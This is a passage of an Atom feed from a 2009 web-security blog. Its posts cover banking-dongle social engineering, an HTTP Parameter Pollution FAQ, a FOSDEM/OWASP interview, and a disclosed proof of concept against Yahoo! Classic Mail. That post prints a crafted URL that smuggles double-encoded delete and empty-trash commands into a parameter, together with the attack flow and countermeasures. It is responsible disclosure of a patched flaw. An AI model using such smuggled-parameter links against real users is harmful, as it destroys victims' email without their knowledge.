/&gt;&lt;/a&gt;&lt;immagine 3=""&gt;&lt;immagine 4=""&gt;&lt;span style="font-weight: bold;"&gt;Can you spot the difference?&lt;/span&gt; Maybe yes (the IBAN visibly changed), but many details are unchanged from the original transaction. This fact will probably fool many users.&lt;br /&gt;&lt;br /&gt;The main reason is that additional details, such as the Recipient are considered trusted by the user and can have influence upon his choices. The details provided to the user should be the lowest as possible; any further detail which is not completely trusted by the bank itself may lead to confusion and leading to considerably increase the attack surface.&lt;br /&gt;&lt;br /&gt;For banking network security reasons, be sure to threat correctly banking transfers with incongruent details, on both online banking and phone banking operators' side.&lt;br /&gt;&lt;br /&gt;Are you sure you are doing it correctly? Please check it, for the health of next generation security solutions.&lt;/immagine&gt;&lt;/immagine&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-8915532602178811387?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/8915532602178811387/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/05/discretionary-controls-may-lead-to.html#comment-form' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/8915532602178811387'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/8915532602178811387'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/05/discretionary-controls-may-lead-to.html' title='Discretionary controls may lead to social engineering attacks against banking dongles'/><author><name>Giorgio Fedon</name><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='15175471670238994696'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_vcTLhf3MjL0/ShVpEic1WeI/AAAAAAAAABo/SkN2aZahZmc/s72-c/Non+Mandatory+Fields.jpg' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-7338707605119693346</id><published>2009-05-21T08:11:00.000-07:00</published><updated>2009-05-21T09:02:55.266-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Http Parameter Pollution'/><category scheme='http://www.blogger.com/atom/ns#' term='Client Side HTTP Parameter Pollution'/><title type='text'>HTTP Parameter Pollution FAQs</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_pkzXyh452W0/ShV28RxhQ6I/AAAAAAAAAAU/iXbymMFybe4/s1600-h/faq.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 91px; height: 91px;" src="http://2.bp.blogspot.com/_pkzXyh452W0/ShV28RxhQ6I/AAAAAAAAAAU/iXbymMFybe4/s320/faq.jpg" alt="" id="BLOGGER_PHOTO_ID_5338303711252923298" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;We have received numerous public replies as well as several private emails.&lt;br /&gt;Thanks for your comments, suggestions and feedbacks.&lt;br /&gt;&lt;br /&gt;It's now time to summarize and clarify some points.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: Is this a new class of exploits or just another case of applications lacking input validation?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Actually, HPP is an input validation flaw. As SQL Injection and XSS, we may consider it as an injection weakness.&lt;br /&gt;In this specific case, query string delimiters are the "dangerous" characters.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: You are saying that several HTTP back-ends manage multiple&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;occurrences in different ways. In some cases, it may be abused in &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;order to fingerprint the underline back-end. Is it right?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Yes, sure. However, considering the granularity available, we don't think it is really so interesting.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: This is a known attack. You guys presented a bunch of interesting&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;but already known techniques to exploit different vulnerabilities.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Actually, we think we have contributed (in some way) to the current state-of-art showing this issue. However, even if it is currently used by 'hard-core' attackers, it's very important to formalize a threat in order to mitigate the issue and create efficient workarounds.&lt;br /&gt;The aim of the entire research is to raise awareness around this problem.&lt;br /&gt;In future, we would like to include HPP within the OWASP Testing Guide in order to provide the  right methodology for testing systems against HPP-like attacks as well.&lt;br /&gt;We strongly believe that  sharing such knowledge may increase the security of all web applications.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: Most of your examples and findings use GET parameters. What about POST?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A: &lt;/span&gt;POST and COOKIE parameters may be affected as well. In slide #11 and #19, we have briefly stated that and you will see further research because it is a very interesting aspect since it gives additional flexibility for all attacks.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: In the current version of IE8, is the XSS Filter still vulnerable to HPP?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; No! We had a discussion with the IE XSS Filter guy at Microsoft and turns out that the current version is NOT affected. All previous tests were done against the beta release and we didn't double check the latest one. We are sorry for this misunderstanding.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: Are multiple occurrences of a parameter valid according to the RFC,&lt;/span&gt; &lt;span style="font-weight: bold;"&gt;W3C, whatever?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Yes! Yes! The only thing which in fact was worth mentioning is the lack of standard in the _management_ of multiple occurrences and NOT the presence of multiple occurrences themselves.&lt;br /&gt;After all, that's why it is possible to abuse the query string delimiters injection flaw.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: Is Yahoo! Mail still vulnerable to HPP?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Difficult to say. However, the specific issue was patched thus it cannot be abused by malicious users.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: Could you provide additional details regarding the Yahoo! Classic Mail HPP attack?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; We've just published &lt;a href="http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html"&gt;here&lt;/a&gt; an in-depth review of the issue with the video PoC as well.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: What's the right way of managing multiple occurrences? Is there a 'perfect' framework?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; No, there are no right o wrong behaviors as well as we cannot refer to a right or wrong web servers/web frameworks. The behavior of the HTTP back-ends is a matter of exploitability, only.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: HPP is only about WAFs bypasses?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Absolutely not! HPP is also about applications flow manipulation, anti-CSRF, content pollution.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: How can I prevent HPP?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; First of all, answer yourself "Which layer am I protecting?".&lt;br /&gt;Then, speaking about HPP server side, it's always important to use URL encoding whenever you do GET/POST HTTP requests to an HTTP back-end.&lt;br /&gt;From the client-side point of view, use URL encoding whenever you are going to include user-supplied content within links, etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: Am I vulnerable to HPP?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A: &lt;/span&gt;It depends on how you are managing several occurrences of the same parameter from the application point of view. Using strict input validation checkpoints and the right output filtering (URL encoding), you are likely secure (at least, against HPP :p).&lt;br /&gt;&lt;br /&gt;That's all (for now).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-7338707605119693346?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/7338707605119693346/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/05/http-parameter-pollution-faqs.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/7338707605119693346'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/7338707605119693346'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/05/http-parameter-pollution-faqs.html' title='HTTP Parameter Pollution FAQs'/><author><name>Stefano Di Paola</name><uri>http://www.blogger.com/profile/18241677936736054546</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='10007430601667226836'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_pkzXyh452W0/ShV28RxhQ6I/AAAAAAAAAAU/iXbymMFybe4/s72-c/faq.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-8349355000742867336</id><published>2009-05-21T06:14:00.000-07:00</published><updated>2009-05-21T06:49:08.093-07:00</updated><title type='text'>Client side Http Parameter Pollution - Yahoo! Classic Mail Video Poc</title><content type='html'>As a follow up of HTTP Parameter Pollution &lt;a href="http://blog.mindedsecurity.com/2009/05/http-parameter-pollution-new-web-attack.html"&gt;presentation&lt;/a&gt;,&lt;br /&gt;I think it's time to give some details of the Yahoo! Classic Mail exploitation.&lt;br /&gt;That's the long version of the video we showed @ OWASP Appsec Poland 2009:&lt;br /&gt;Youtube LD &lt;a href="http://www.youtube.com/watch?v=-O1y7Zy3jfc"&gt;Video&lt;/a&gt; or Wisec HD &lt;a href="http://www.wisec.it/Yahoo/ClientSideHPP/ClientSideHPP.html"&gt;Video&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Moreover, in order to better clarify the details of client side HPP explitation, here's an excerpt of my mail to Yahoo! security team:&lt;br /&gt;"...&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;How client side HPP works?&lt;/span&gt;&lt;br /&gt;It's pretty easy, find a name value pair of HTTP parameters and append %26aaaa=aaaaa to it. Example:&lt;br /&gt;&lt;blockquote&gt; http://yahoo.com?par=val%26aaaa=aaa&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Have a look at Html source looking for translation of %26 in &amp;amp; or &amp;amp; in anchors or other attributes using the url, such as:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&amp;lt;a href="http://yahoo.com?par=val&amp;amp;aaaa=aaa"&amp;gt; View &amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;The semantic of such link changes from the function described to something else.&lt;br /&gt;In fact, if instead of %26aaaa=aaa the injected parameter is:&lt;br /&gt;&lt;blockquote&gt;%26action=delete&lt;br /&gt;&lt;/blockquote&gt;It becomes:&lt;br /&gt;&lt;blockquote&gt;&amp;lt;a href="http://yahoo.com?par=val&amp;amp;action=delete"&amp;gt; View &amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;so even if the user sees View, the action will be delete.&lt;br /&gt;Obviously it strongly depends on the functionalities and the structure of the Web app...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Yahoo! Classic Mail Issue&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I found that client side HPP is possible on some parameter in the first page of Inbox.&lt;br /&gt;For instance:&lt;br /&gt;&lt;blockquote&gt;http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&amp;amp;order=down&amp;amp;tt=245&amp;amp;pSize=25&amp;amp;startMid=0&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;has "startMid" which could be used as entry point for client-side HPP.&lt;br /&gt;In fact trying to add %26aaaa=aaa to startMid:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&amp;amp;order=down&amp;amp;tt=245&amp;amp;pSize=25&amp;amp;startMid=0%26aaaa=aaaa&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;Every link to listed emails, within inbox, expands %26 into &amp;amp;.&lt;br /&gt;Specifically:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&amp;lt;a href="http://it.mc257.mail.yahoo.com/mc/showMessage?pSize=25&amp;amp;sMid=0&amp;amp;fid=Inbox&amp;amp;sort=date&amp;amp;order=down&amp;amp;startMid=0&amp;amp;aaaaa=aaa&amp;amp;filterBy=&amp;amp;.rand=1076957714&amp;amp;midIndex=0&amp;amp;mid=1_62389_ALIKDNkAAJELSeg6IAXQeCc3b%2Fk&amp;amp;f=1"&amp;gt;An email subject &amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;(notice the &amp;amp;aaaa=aaa)&lt;br /&gt;As a result, when the user will click on any email subject he will trigger the execution of a different action, as it usually happens for CSRF.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The proof of concept&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I just analyzed the application and found that 'cmd' parameter is used in order to execute a specific action.&lt;br /&gt;&lt;br /&gt;Later on, I found that:&lt;br /&gt;  cmd=fmgt.emptytrash&lt;br /&gt;&lt;br /&gt;is the action for emptying the trashcan&lt;br /&gt;&lt;br /&gt;and that:&lt;br /&gt; DEL=1&amp;amp;DelFID=Inbox&amp;amp;cmd=fmgt.delete&lt;br /&gt;&lt;br /&gt;forces the application to move every msg from a folder to the trashcan and then (if possible) deletes the folder.&lt;br /&gt;&lt;br /&gt;Please note that every action has anti CSRF measures so it's not possible to perform those ones from an external evil page.&lt;br /&gt;&lt;br /&gt;Then, by combining these two commands into a link using urlencoding for the first action (delete all messages) and double urlencoding for the second action (empty the trashcan) like this:&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt; http://it.mc257.mail.yahoo.com/mc/showFolder?fid=Inbox&amp;amp;order=down&amp;amp;tt=245&amp;amp;pSize=25&amp;amp;startMid=0%2526cmd=fmgt.emptytrash%26DEL=1%26DelFID=Inbox%26cmd=fmgt.delete&lt;br /&gt; &lt;/blockquote&gt;&lt;br /&gt;when the user clicks on any message in order to read it and then click to "Back to messages", he will have every messages deleted forever..&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Countermeasures to Client Side HPP&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;When creating URLs the parameters taken from the HTTP request itself&lt;br /&gt;should be url encoded and not translated to Html Entities.&lt;br /&gt;&lt;br /&gt;Example (php):&lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;&amp;lt;a href="/?startmid="&amp;lt;?=urlencode($_GET['startMid'])?&amp;gt;&amp;amp;id=4"&amp;gt;View&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;and not:&lt;blockquote&gt;&lt;br /&gt;&amp;lt;a href="/?startmid="&amp;lt;?=htmlspecialchars($_GET['startMid'])?&amp;gt;&amp;amp;id=4"&amp;gt;View&amp;lt;/a&amp;gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The Attack flow&lt;/span&gt;&lt;br /&gt;Let's review, once again, the attack flow:&lt;br /&gt;&lt;br /&gt;Flow #1:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Attacker sends an email to the victim with the above link.&lt;/li&gt;&lt;li&gt;User/victim clicks on the link and gets the inbox page again.&lt;/li&gt;&lt;li&gt;   User/victim clicks in order to see the other messages and gets every message deleted.&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;br /&gt;Flow #2:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;   User/victim visits a malicious page&lt;/li&gt;&lt;li&gt;   Attacker, after checking if the user is logged in on Yahoo!, redirects the victim on the malicious url.&lt;/li&gt;&lt;li&gt;   User/victim clicks in order to see the other messages and gets every message deleted.&lt;/li&gt;&lt;/ol&gt;...&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;Stefano&lt;br /&gt;..."&lt;br /&gt;&lt;br /&gt;Just to be clear, this vulnerability is currently patched  and it affected the Yahoo! Mail classic version only.&lt;br /&gt;However, it is likely to force a user to change the GUI from the brand-new mail interface to the old one.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-8349355000742867336?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/8349355000742867336/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/8349355000742867336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/8349355000742867336'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/05/client-side-http-parameter-pollution.html' title='Client side Http Parameter Pollution - Yahoo! Classic Mail Video Poc'/><author><name>Stefano Di Paola</name><uri>http://www.blogger.com/profile/18241677936736054546</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='10007430601667226836'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-738355955109711223</id><published>2009-02-13T05:13:00.000-08:00</published><updated>2009-05-20T09:49:46.392-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Application Security'/><title type='text'>FOSDEM 09</title><content type='html'>Matteo Meucci was invited to talk about the new OWASP Testing Guide and Secure Software Development at FOSDEM 09.&lt;br /&gt;&lt;a href="http://fosdem.org/2009/about/fosdem"&gt;FOSDEM&lt;/a&gt;&lt;br /&gt;&lt;a href="http://fosdem.org/2009/schedule/events/643"&gt;Presentation&lt;/a&gt;&lt;br /&gt;Here you can download the video of the presentation:&lt;br /&gt;&lt;a href="http://ftp.heanet.ie/mirrors/fosdem-video/2009/maintracks/owasp.xvid.avi"&gt;Testing Guide video&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;The following is the interview that Christophe Vandeplas gives to Matteo and Paulo Coimbra (OWASP Project Manager):&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hi, thank you for the interview. I have been working in Information Security for some years, starting with a thesis in PKI and Attribute Certificates. I worked for many consultancy firms, then in 2007 with Stefano Di Paola and Giorgio Fedon we decided to create Minded Security, a company totally focused on Application Security Consultancy. I have been contributing to OWASP for many years and in 2005 I founded the Italian Chapter and from 2006 I lead the OWASP Testing Guide Project.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What will your talk be about, exactly?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The goal is to show the OWASP testing methodology and how you can implement a software development lifecycle that permits to develop more secure applications.&lt;br /&gt;What do you hope to accomplish by giving this talk? What do you expect?&lt;br /&gt;&lt;br /&gt;I’d like to promote the OWASP guidelines and find more people interested in OWASP and contributing to improve our projects.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What's the target audience for the OWASP Testing Guide?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We make this guide available in a completely free and open way because we believe sharing knowledge could contribute to develop more secure applications. The target audience here is not only the Application Tester, but everyone involved in the Software Development Life Cycle. So the Security Managers, the Internal Audit, the Developer Team, the Testers, are all interested to adopt a common and open source methodology to test the security of the application.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How would you describe the OWASP Testing Guide in a few sentences?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;An open and standard methodology to perform Web Application Penetration Testing.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What are the biggest differences between v2 and v3 of the OWASP Testing Guide?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;That's a good point. OWASP started in 2005 with the first testing guide version. We collected the set of test to perform and a short methodology. In 2006 we did a great job creating version 2 that collects 8 categories of tests for a total amount of 48 controls. The guide describes each single control to test.&lt;br /&gt;&lt;br /&gt;Now v3 collects 10 categories of tests for a total amount of 66 controls and we have created a shared methodology in a 347 pages book.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;How successful was the OWASP Summer of Code 2008? How many participants were there? What were the most important accomplishments during this period? What are the differences with the OWASP Spring of Code 2007 and OWASP Autumn of Code 2006?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Paulo Coimbra (OWASP Project Manager): OWASP Foundation is a voluntary, not-for-profit entity and open community. By responding so significantly to the Summer of Code’s challenge, this community has showed its vitality and true passion in improving application security.&lt;br /&gt;&lt;br /&gt;We have invested roundly 275,000 dollars to fund the entire Summer of Code initiative. We have used slightly less than half of this amount to symbolically reward the work of one hundred project leaders, contributors and reviewers.&lt;br /&gt;&lt;br /&gt;The remaining budget has been used to support the inter-linked OWASP Summit, a thrilling event set up to identify, coordinate, and prioritize OWASP efforts to create a more secure Internet in which the Summer of Code deliveries were publicly presented.&lt;br /&gt;&lt;br /&gt;As it was said by OWASP Chair Jeff Williams, "Our community is growing and organizing into a powerful movement that will affect software development worldwide" and so the Summit, being the Summer of Code 2008 its central piece, has marked a major milestone in our efforts to improve application security.&lt;br /&gt;&lt;br /&gt;Apart from launching more than two dozen of new or updated documents and tools, as for the most important accomplishments during this period, we would like to point out the reinforcement of an amazing knowledge sharing culture plenty of comradeship, curiosity and freedom.&lt;br /&gt;&lt;br /&gt;Given OWASP´s worldwide scope characteristic, several of its contributors from all earth corners had been collaborating to develop application security for several years often without personally meeting each other. By gathering the majority of the most active of them in a friendly and productive environment, both events the OWASP Summer of Code 2008 and the OWASP Summit have created the conditions for enhanced future achievements. This circumstance and an improved organizational support should have been the major differences relatively to the past seasons of code.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What can we expect from the OWASP Winter of Code 2009?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Paulo Coimbra (OWASP Project Manager): Although the OWASP Winter of Code 2009 design is not finished yet and so its final frame can yet be modified by the expected OWASP community inputs, I believe the new season of code to be very similar to the previous one.&lt;br /&gt;&lt;br /&gt;Likely by the next month the call for applications will be sent and we will be accepting proposals in three distinct spheres, namely, Innovation/Start-ups, Integration/Development and Quality Improvement.&lt;br /&gt;&lt;br /&gt;The entire cycle from launching to completion should last nearly six months and we will be expecting all the approved proposals to be executed in time to be presented in our next Summit which will be probably held next November.&lt;br /&gt;&lt;br /&gt;Even if we are expecting applications from the majority of the former season of code participants, we certainly welcome new ones. In addition, to review the approved projects, several positions will also be open.&lt;br /&gt;&lt;br /&gt;We are counting on involving no less than hundred people in the OWASP Winter of Code 2009 and we hope you can be one of them. Please check our main page for updates.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;You have more than 8 years of experience in information security. What have you seen changing in this period with respect to web application security? Are most types of vulnerabilities still the same or are there any genuinely new developments?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The research on Application Security is a very active field. We are finding new vulnerabilities and new types of attack every week. That's why we have to verify continuously the security of a web application also if the application is not changed during that time.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;What do you consider the most underestimated risk for web applications in the near future?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Every application is completely different from the others. Web Application Security is dynamic, it changes every day. The risk for the Companies is to think statically: If you think statically to your application probably you will expose that to some security trouble in the future. That’s why keeping up-to-date is a key factor for the Companies: the OWASP Community could contribute giving state of the art open guidelines and tools.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-738355955109711223?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/738355955109711223/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/02/fosdem-09.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/738355955109711223'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/738355955109711223'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/02/fosdem-09.html' title='FOSDEM 09'/><author><name>Matteo Meucci</name><uri>http://www.blogger.com/profile/10505285469528042725</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09096630004793563409'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7122745763234660283.post-2501646238927925133</id><published>2009-05-19T02:22:00.000-07:00</published><updated>2009-05-19T04:51:44.685-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Security'/><category scheme='http://www.blogger.com/atom/ns#' term='Web Attacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Http Parameter Pollution'/><title type='text'>Http Parameter Pollution a new web attack category (not just a new buzzword :p)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_5TMxqPSTp9k/ShKbjCRKPrI/AAAAAAAABEc/pfMBHGxGlzs/s1600-h/ikki_wisec.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_5TMxqPSTp9k/ShKbjCRKPrI/AAAAAAAABEc/pfMBHGxGlzs/s320/ikki_wisec.jpg" alt="" id="BLOGGER_PHOTO_ID_5337499534594031282" border="0" /&gt;&lt;/a&gt;On May 14th @ &lt;a href="http://www.owasp.org/index.php/AppSecEU09"&gt;OWASP Appsec Poland&lt;/a&gt; 2009, me &amp;amp; &lt;a href="http://www.ikkisoft.com/"&gt;Luca&lt;/a&gt;  &lt;a href="http://blog.nibblesec.org/"&gt;Carettoni&lt;/a&gt;  presented a new attack category called &lt;span style="font-weight: bold;"&gt;Http Parameter Pollution&lt;/span&gt; (&lt;span style="font-weight: bold;"&gt;HPP&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;HPP attacks can be defined as the feasibility to override or add HTTP GET/POST parameters by injecting query string delimiters.&lt;br /&gt;It affects a building block of all web technologies thus server-side and client-side attacks exist.&lt;br /&gt;Exploiting HPP vulnerabilities, it may be possible to:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Override existing hardcoded HTTP parameters.&lt;/li&gt;&lt;li&gt;Modify the application behaviors.&lt;/li&gt;&lt;li&gt;Access and, potentially exploit, uncontrollable variables.&lt;/li&gt;&lt;li&gt;Bypass input validation checkpoints and WAFs rules.&lt;/li&gt;&lt;/ul&gt;Just to whet your appetite, I can anticipate that by researching real world HPP vulnerabilities, we found issues on some Google Search Appliance front-end scripts, Ask.com, Yahoo! Mail Classic and several other products.&lt;br /&gt;&lt;br /&gt;You can download the slides of the talk &lt;a href="http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf"&gt;here&lt;/a&gt; (pdf) or browse it on &lt;a href="http://www.slideshare.net/Wisec/http-parameter-pollution-a-new-category-of-web-attacks"&gt;Slideshare&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Also, we'll soon release a whitepaper in order to clarify all details about HPP.&lt;br /&gt;&lt;br /&gt;As last news, in a few days the video of "Yahoo! Classic Mail" exploitation of Client Side HPP will be available on this blog.&lt;br /&gt;So...stay tuned!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7122745763234660283-2501646238927925133?l=blog.mindedsecurity.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mindedsecurity.com/feeds/2501646238927925133/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.mindedsecurity.com/2009/05/http-parameter-pollution-new-web-attack.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/2501646238927925133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7122745763234660283/posts/default/2501646238927925133'/><link rel='alternate' type='text/html' href='http://blog.mindedsecurity.com/2009/05/http-parameter-pollution-new-web-attack.html' title='Http Parameter Pollution a new web attack category (not just a new buzzword :p)'/><author><name>Stefano Di Paola</name><uri>http://www.blogger.com/profile/18241677936736054546</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='10007430601667226836'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_5TMxqPSTp9k/ShKbjCRKPrI/AAAAAAAABEc/pfMBHGxGlzs/s72-c/ikki_wisec.jpg' height='72' 